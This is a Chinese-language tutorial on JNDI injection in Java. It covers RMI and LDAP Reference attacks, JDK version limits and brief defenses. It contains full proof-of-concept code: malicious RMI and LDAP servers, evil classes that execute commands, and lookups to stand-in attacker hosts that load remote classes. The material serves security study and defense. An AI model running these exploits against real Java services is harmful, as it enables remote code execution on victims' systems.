安全技术系列之JNDI注入

原文出处:https://www.mi1k7ea.com/2019/09/15/%E6%B5%85%E6%9E%90JNDI%E6%B3%A8%E5%85%A5/#LDAP-Reference%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7

0x01 基本概念

何为JNDI

JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。

JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。

如图:安全技术系列之JNDI注入_第1张图片

Java Naming

命名服务是一种键值对的绑定,使应用程序可以通过键检索值。

Java Directory

目录服务是命名服务的自然扩展。这两者之间的区别在于目录服务中对象可以有属性,而命名服务中对象没有属性。因此,在目录服务中可以根据属性搜索对象。

JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问如LDAP这样的目录服务,定位网络上的EJB组件。

ObjectFactory

Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,如Java中的对象或Java中的基本数据类型。每一个Service Provider可能配有多个Object Factory。

JNDI注入的问题就是处在可远程下载自定义的ObjectFactory类上。

JNDI的代码示例

在JNDI中提供了绑定和查找的方法:

  • bind:将名称绑定到对象中;
  • lookup:通过名字检索执行的对象;

下面是基本用法Demo,以RMI服务为例。

先定义一个Person类:

public class Person implements Remote, Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private String password;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String toString(){
        return "name:"+name+" password:"+password;
    }
}

Server.java,其实是将服务端和客户端的代码写在一起了,分为两个部分。第一部分是initPerson()函数即服务端,其通过JNDI实现RMI服务,并通过JNDI的bind()函数将实例化的Person对象绑定到RMI服务中;第二部分是findPerson()函数即客户端,其通过JNDI的lookup方法来检索person对象并输出出来:

public class Server {
    public static void initPerson() throws Exception{
        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
        LocateRegistry.createRegistry(6666);
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");

        //初始化
        InitialContext ctx = new InitialContext();

        //实例化person对象
        Person p = new Person();
        p.setName("mi1k7ea");
        p.setPassword("Niubility!");

        //person对象绑定到JNDI服务中,JNDI的名字叫做:person。
        ctx.bind("person", p);
        ctx.close();
    }

    public static void findPerson() throws Exception{
        //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了
        InitialContext ctx = new InitialContext();

        //通过lookup查找person对象
        Person person = (Person) ctx.lookup("person");

        //打印出这个对象
        System.out.println(person.toString());
        ctx.close();
    }

    public static void main(String[] args) throws Exception {
        initPerson();
        findPerson();
    }
}

运行Server的程序,findPerson()函数会成功从启动的JNDI服务中找到指定的对象并输出出来:
安全技术系列之JNDI注入_第2张图片

一个题外话

我们可以简单比较一下纯RMI写法和使用JNDI检索的写法,在纯RMI写法中的两种典型写法:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;
...
    
    //服务端
    IRemoteMath remoteMath = new RemoteMath();
    LocateRegistry.createRegistry(1099);    
    Registry registry = LocateRegistry.getRegistry();
    registry.bind("Compute", remoteMath);
...
    
    //客户端
    Registry registry = LocateRegistry.getRegistry("localhost");        
    IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
...

	//服务端
    PersonService personService=new PersonServiceImpl();
    LocateRegistry.createRegistry(6600);
    Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
...

	//客户端
	PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:6600/PersonService");

而JNDI中相关代码:

import javax.naming.Context;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
...
    
	//服务端
	LocateRegistry.createRegistry(6666);
    System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
    InitialContext ctx = new InitialContext();
	...
    ctx.bind("person", p);
    ctx.close();
...

	//客户端
    InitialContext ctx = new InitialContext();
    Person person = (Person) ctx.lookup("person");
	ctx.close();//服务端
    Properties env = new Properties();
    env.put(Context.INITIAL_CONTEXT_FACTORY,
            "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL,
            "rmi://localhost:1099");
    Context ctx = new InitialContext(env);

相比之下:

  • 服务端:纯RMI的实现中,调用java.rmi包内的bind()或rebind()方法来直接绑定RMI注册表端口,而JNDI创建的RMI服务中,增加的部分是需要设置INITIAL_CONTEXT_FACTORY和PROVIDER_URL来指定InitialContext的初始化Factory和Provider的URL地址,换句话说,就是初始化JNDI设置时,需要预先指定其上下文环境,如指定为RMI服务,最后,再调用javax.naming.InitialContext.bind()来将指定对象绑定到RMI注册表中;
  • 客户端:纯RMI实现中,调用java.rmi包内的lookup()方法来检索绑定在RMI注册表中的对象,而JNDI实现的RMI客户端查询是调用javax.naming.InitialContext.lookup()方法来检索的;

简单地说,纯RMI实现的方式,主要是调用java.rmi这个包来实现绑定和检索的,而JNDI实现的RMI服务,则是调用javax.naming这个包,即使用Java Naming来实现的。

Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能。对象可以通过绑定Reference,存储在Naming或Directory服务下,比如RMI、LDAP等。

在使用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。

几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

远程代码和安全管理器

这部分引用自:https://blog.csdn.net/u011721501/article/details/52316225

Java中的安全管理器

Java中的对象分为本地对象和远程对象,本地对象是默认为可信任的,但是远程对象是不受信任的。比如,当我们的系统从远程服务器加载一个对象,为了安全起见,JVM就要限制该对象的能力,比如禁止该对象访问我们本地的文件系统等,这些在现有的JVM中是依赖安全管理器(SecurityManager)来实现的。
安全技术系列之JNDI注入_第3张图片
JVM中采用的最新模型见上图,引入了“域”的概念,在不同的域中执行不同的权限。JVM会把所有代码加载到不同的系统域和应用域,系统域专门负责与关键资源进行交互,而应用域则通过系统域的部分代理来对各种需要的资源进行访问,存在于不同域的class文件就具有了当前域的全部权限。
关于安全管理机制,可以详细阅读: http://www.ibm.com/developerworks/cn/java/j-lo-javasecurity/

JNDI的安全管理器

这部分在后面绕过高版本JDK限制中也会具体讲到。

对于加载远程对象,JDNI有两种不同的安全控制方式,对于Naming Manager来说,相对的安全管理器的规则比较宽泛,但是对JNDI SPI层会按照下面表格中的规则进行控制:
安全技术系列之JNDI注入_第4张图片
针对以上特性,黑客可能会找到一些特殊场景,利用两者的差异来执行恶意代码。

JNDI协议动态转换

举前面的例子,JNDI实现的RMI服务中,可以在初始化配置JNDI设置时,预先指定其上下文环境(RMI、LDAP、CORBA等),这里列出前面的两种写法:

    Properties env = new Properties();
    env.put(Context.INITIAL_CONTEXT_FACTORY,
            "com.sun.jndi.rmi.registry.RegistryContextFactory");
    env.put(Context.PROVIDER_URL,
            "rmi://localhost:1099");
    Context ctx = new InitialContext(env);

或

	LocateRegistry.createRegistry(6666);
    System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
    System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
    InitialContext ctx = new InitialContext();

但在调用lookup()或者search()时,可以使用URI动态地转换上下文环境,例如,上面已经设置了当前上下文会访问RMI服务,那么,可以直接使用LDAP的URI格式转换上下文环境,访问LDAP服务上的绑定对象,而非原本的RMI服务:

ctx.lookup("ldap://attacker.com:12345/ou=foo,dc=foobar,dc=com");

其原理可以跟踪代码找到:

public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

再跟进去就知道了:

protected Context getURLOrDefaultInitCtx(Name paramName) throws NamingException {
    if (NamingManager.hasInitialContextFactoryBuilder()) {
        return getDefaultInitCtx(); 
    }
    if (paramName.size() > 0) {
        String str1 = paramName.get(0);
        String str2 = getURLScheme(str1);  // 尝试解析 URI 中的协议
        if (str2 != null) {
            // 如果存在 Schema 协议,则尝试获取其对应的上下文环境
            Context localContext = NamingManager.getURLContext(str2, this.myProps);
            if (localContext != null) { 
                return localContext;
            }
        }  
    }
    return getDefaultInitCtx();
}

0x02 JNDI注入

前提条件&JDK防御

要想成功利用JNDI注入漏洞,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。

这里将所有不同版本JDK的防御都列出来:

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

因此,我们在进行JNDI注入之前,必须知道当前环境JDK版本这一前提条件,只有JDK版本在可利用的范围内才满足我们进行JNDI注入的前提条件。

RMI攻击向量

RMI+Reference利用技巧

JNDI提供了一个Reference类来表示某个对象的引用,这个类中包含被引用对象的类信息和地址。

因为在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,按值传递),要么是按照引用(对象的引用,按引用传递)来存储,当序列化不好用的时候,我们可以使用Reference将对象存储在JNDI系统中。

那么这个JNDI利用技巧是啥呢?——就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当攻击者可以控制JNDI客户端的lookup()参数,或Reference类构造方法的classFactoryLocation参数时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而,加载远程服务器上的恶意class文件,在客户端本地执行,最终实现JNDI注入攻击,导致远程代码执行。

我们看个示例,以lookup()函数参数外部可控为例,攻击原理如图:安全技术系列之JNDI注入_第5张图片

  • 攻击者通过可控的 URI 参数,触发动态环境转换,例如,这里 URI 为 rmi://evil.com:1099/refObj;
  • 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换,而被指向 rmi://evil.com:1099/;
  • 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务,会返回与refObj相绑定的ReferenceWrapper对象(Reference(“EvilObject”, “EvilObject”, “http://evil-cb.com/”));
  • 应用获取到 ReferenceWrapper 对象,开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在,则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class;
  • 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;
  • 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

代码如下,当然,需要注意JDK版本的影响,我本地JDK版本为1.8.0_73。

JNDIClient.java,lookup()函数参数外部可控:

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        if(args.length < 1) {
            System.out.println("Usage: java JNDIClient ");
            System.exit(-1);
        }
        String uri = args[0];
        Context ctx = new InitialContext();
        System.out.println("Using lookup() to fetch object with " + uri);
        ctx.lookup(uri);
    }
}

EvilObject.java,目的是弹计算器:

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"cmd", "/C", "calc.exe"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }
}

RMIService.java,对象实例要能成功绑定在RMI服务上,必须直接或间接的实现 Remote 接口,这里 ReferenceWrapper就继承于 UnicastRemoteObject 类并实现了Remote接口:

public class RMIService {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
        registry.bind("refObj", refObjWrapper);
    }
}

这里将RMIService.java和JNDIClient.java放在同一目录下,将EvilObject.java放在另一个目录下(为防止漏洞复现过程中应用端实例化EvilObject对象时从CLASSPATH当前路径找到编译好的字节代码,而不去远端进行下载的情况发生),编译这三个文件,并在不同窗口下执行命令,最后成功通过RMI+Reference的方式实现JNDI注入:
安全技术系列之JNDI注入_第6张图片

漏洞点1——lookup参数注入

当JNDI客户端的lookup()函数的参数可控,即URI可控时,根据JNDI协议动态转换的原理,攻击者可以传入恶意URI地址,指向攻击者的RMI注册表服务,以使受害者客户端加载绑定在攻击者RMI注册表服务上的恶意类,从而实现远程代码执行。

下面以RMI服务为例,原理和上一个小结讲的是一样的,本地JDK版本为1.8.0_73。

AClient.java,是JNDI客户端,原本上下文环境已经设置了默认连接本地的1099端口的RMI注册表服务,同时,程序允许用户输入URI地址来动态转换JNDI的访问地址,即此处lookup()函数的参数可控:

public class AClient {
    public static void main(String[] args) throws Exception {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        String uri = "";
        if(args.length == 1) {
            uri = args[0];
            System.out.println("[*]Using lookup() to fetch object with " + uri);
            ctx.lookup(uri);
        } else {
            System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
            ctx.lookup("demo");
        }
    }
}

AServer.java,是攻击者搭建的恶意RMI注册表服务,而非原本正常的本地RMI注册表服务(做漏洞演示就没必要写正常的服务端那部分了),其将恶意Reference类绑定到RMI注册表中,用于给JNDI客户端加载并执行恶意代码(注意这里的Reference类初始化时其第三个参数即factoryLocation参数随意设置了一个内容,将该恶意类放在与当前RMI注册表服务同一目录中,当然也可以修改该参数为某个URI去加载,但是需要注意的是URL不用指定到特定的class、只需给出该class所在的URL路径即可):

public class AServer {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1688);
        Reference refObj = new Reference("EvilClass", "EvilClassFactory", "test");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("[*]Binding 'exp' to 'rmi://127.0.0.1:1688/exp'");
        registry.bind("exp", refObjWrapper);
    }
}

最后编写恶意EvilClassFactory类,目标是在客户端执行ipconfig命令,将其编译成class文件后与AServer放置于同一目录下:

public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
    public EvilClassFactory() throws RemoteException {
        super();
        InputStream inputStream;
        try {
            inputStream = Runtime.getRuntime().exec("ipconfig").getInputStream();
            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
            String linestr;
            while ((linestr = bufferedReader.readLine()) != null){
                System.out.println(linestr);
            }
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

模拟场景,攻击者开启恶意RMI注册表服务AServer,同时恶意类EvilClassFactory放置在同一环境中,由于JNDI客户端的lookup()函数参数可控,因为当客户端输入指向AServer的URI进行lookup操作时就会触发JNDI注入漏洞,导致远程代码执行。效果如图:
安全技术系列之JNDI注入_第7张图片
最后小结一下,调用InitialContext.lookup()函数都有哪些类。

在RMI中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()
Spring's LdapTemplate.lookup()
LdapTemplate.lookupContext()

漏洞点2——classFactoryLocation参数注入

前面lookup()参数注入是基于RMI客户端的,也是最常见的。而本小节的classFactoryLocation参数注入则是对于RMI服务端而言的,也就是说服务端程序在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。

整个利用原理过程如图:
安全技术系列之JNDI注入_第8张图片
BClient.java,RMI客户端,通过JNDI来查询RMI注册表上绑定的demo对象,其中lookup()函数参数不可控:

public class BClient {
    public static void main(String[] args) throws Exception {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");
        ctx.lookup("demo");
    }
}

BServer.java,RMI服务端,创建RMI注册表并将一个远程类的引用绑定在注册表中名为demo,其中该Reference的classFactoryLocation参数外部可控:

public class BServer {
    public static void main(String args[]) throws Exception {
        String uri = "";
        if(args.length == 1) {
            uri = args[0];
        } else {
            uri = "http://127.0.0.1/demo.class";
        }
        System.out.println("[*]classFactoryLocation: " + uri);
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("EvilClass", "EvilClassFactory", uri);
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("[*]Binding 'demo' to 'rmi://192.168.43.201:1099/demo'");
        registry.bind("demo", refObjWrapper);
    }
}

EvilClassFactory.java,攻击者编写的远程恶意类,这里是在RMI客户端执行tasklist命令并输出出来:

public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
    public EvilClassFactory() throws RemoteException {
        super();
        InputStream inputStream;
        try {
            inputStream = Runtime.getRuntime().exec("tasklist").getInputStream();
            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
            String linestr;
            while ((linestr = bufferedReader.readLine()) != null){
                System.out.println(linestr);
            }
        } catch (IOException e){
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

攻击者将恶意类EvilClassFactory.class放置在自己的Web服务器后,通过往RMI注册表服务端的classFactoryLocation参数输入攻击者的Web服务器地址后,当受害者的RMI客户端通过JNDI来查询RMI注册表中年绑定的demo对象时,会找到classFactoryLocation参数被修改的Reference对象,再远程加载攻击者服务器上的恶意类EvilClassFactory.class,从而导致JNDI注入、实现远程代码执行:
安全技术系列之JNDI注入_第9张图片

漏洞点3——RMI恶意远程对象

攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,这个Codebase地址由远程服务器的 java.rmi.server.codebase 属性设置,供受害者的RMI客户端远程加载,RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseOnly 的限制。利用条件如下:
RMI客户端的上下文环境允许访问远程Codebase。
属性 java.rmi.server.useCodebaseOnly 的值必需为false。
然而从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
Changelog:

  • JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
  • JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html

这种方法限制很多,不常使用,这里先搞Demo了,意义不大。

漏洞点4——结合反序列化漏洞

这种情形其实就是漏洞类重写的readObject()方法中直接或间接调用了可被外部控制的lookup()方法,导致攻击者可以通过JNDI注入来进行反序列化漏洞的利用。

具体的例子如Spring Framework的反序列化漏洞,原理和示例看之前的文章就OK了:《由JNDI注入引发的Spring Framework反序列化漏洞》

LDAP攻击向量

通过LDAP攻击向量来利用JNDI注入的原理和RMI攻击向量是一样的,区别只是换了个媒介而已,下面就只列下LDAP+Reference的利用技巧,至于JNDI注入漏洞点和前面是一样的就不再赘述了。

LDAP+Reference利用技巧

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。

所以,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来进行JNDI注入的利用。

因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u191、7u201、6u211以下。下面的示例代码中我本地的JDk版本是1.8.0_73。

LdapServer.java,LDAP服务,需要导入unboundid-ldapsdk.jar包:

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main (String[] args) {
        String url = "http://127.0.0.1:8000/#EvilObject";
        int port = 1234;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

LdapClient.java,LDAP客户端:

public class LdapClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("ldap://localhost:1234/EvilObject");
            String data = "This is LDAP Client.";
            //System.out.println(serv.service(data));
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

EvilObject.java,恶意类,执行弹出计算器:

public class EvilObject {
    public EvilObject() throws Exception {
        Runtime.getRuntime().exec("calc.exe");
    }
}

运行结果:
安全技术系列之JNDI注入_第10张图片

CORBA攻击向量

利用CORBA攻击向量进行JNDI注入的原理和RMI、LDAP是类似的,限于个人知识的匮乏,暂时写不了这章。

0x03 绕过高版本JDK(8u191+)限制

本部分参考自KINGX大佬的博客:如何绕过高版本JDK的限制进行JNDI注入利用

由前面知道,在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

KINGX提到了如下两种绕过方式:

  • 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  • 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。

简单地说,就是利用受害者本地ClassPath环境是否存在可被利用的Gadget来进行攻击。

具体的参考后面的一篇文章:浅析高低版JDK下的JNDI注入及绕过

0x04 防御

  • 使用最新的JDK版本;
  • 将外部数据传入InitialContext.lookup()方法前先进行严格的过滤;
  • 使用安全管理器时,需要仔细审计安全策略;

0x05 参考

BlackHat2016——JDNI注入/LDAP Entry污染攻击技术研究
JNDI注入及Spring RCE漏洞分析
BlackHat 2016 回顾之 JNDI 注入简单解析
Java代码审计学习之JNDI注入
如何绕过高版本JDK的限制进行JNDI注入利用

0x06 其他

最近爆出的Log4j漏洞,也是JNDI注入的漏洞,可以参考下面的分析文章。
Log4j2的PoC
Log4j2的PoC简单介绍
Apache Log4j2 Jndi RCE 高危漏洞分析与防御

你可能感兴趣的:(Web安全,java,JNDI注入)